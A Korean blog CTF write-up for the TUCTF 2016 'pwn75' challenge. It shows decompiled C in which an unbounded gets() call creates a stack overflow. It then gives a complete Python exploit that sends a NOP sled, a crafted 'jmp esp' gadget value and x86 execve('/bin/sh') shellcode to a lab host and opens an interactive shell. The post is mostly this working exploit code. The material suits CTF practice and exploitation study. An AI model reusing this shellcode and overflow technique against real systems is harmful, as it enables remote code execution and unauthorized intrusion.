-
TUCTF pwn75CTF 2016. 5. 18. 03:21
int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [sp+10h] [bp-20h]@1 puts("What's your name?"); fflush(stdout); gets((char *)&v4); puts("What's your favorite number?"); fflush(stdout); __isoc99_scanf("%d", &meow); if ( meow & 1 ) { printf("Hello %s, %d is an odd number!\n", &v4, meow); fflush(stdout); } else { printf("Hello %s, %d is an even number!\n", &v4, meow); fflush(stdout); } return 0; }
메인함수이다 gets 함수로 떡하니 취약점이 존재한다.
일단 처음 시나리오로는 gets + bss + bss 해서 쉘코드를 올릴생각했지만 meow가 있는것이 좀 뭔가 이상했다.
pwnable.kr 의 echo1을 풀어보신분이 계신다면 직접 ffd4 가젯을 만들어서 보낸적이있을것이다. 각자 풀이방법은 다양하겠지만...
그럼 익스를 바로짜자
from socket import * from ctypes import * import struct from telnetlib import * p = lambda x:struct.pack("<L",x) up = lambda x:struct.unpack("<L",x) gets_plt = 0x80483D0 bss = 0x804A140 def recvuntil(t): data = '' while not data.endswith(t): tmp = s.recv(1) if not tmp: break data += tmp return data HOST = "10.211.55.8" PORT = 11005 s = socket(AF_INET,SOCK_STREAM) s.connect((HOST,PORT)) meow = 0x804A048 jmpesp = "54527" payload = "\x90"*44 payload += p(meow) payload += "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + "\x90"*100 s.send(payload + "\n") s.send(jmpesp + "\n") t = Telnet() t.sock = s t.interact() s.close()
'CTF' 카테고리의 다른 글
Defcon r0pbaby푸는데 (0) 2016.05.19 Defcon 23 - babycmd (7) 2016.05.19 TUCTF woO2 (0) 2016.05.18 dimictf - pwn250 (0) 2016.05.18 H3X0R CTF - bughunt (3) 2016.05.15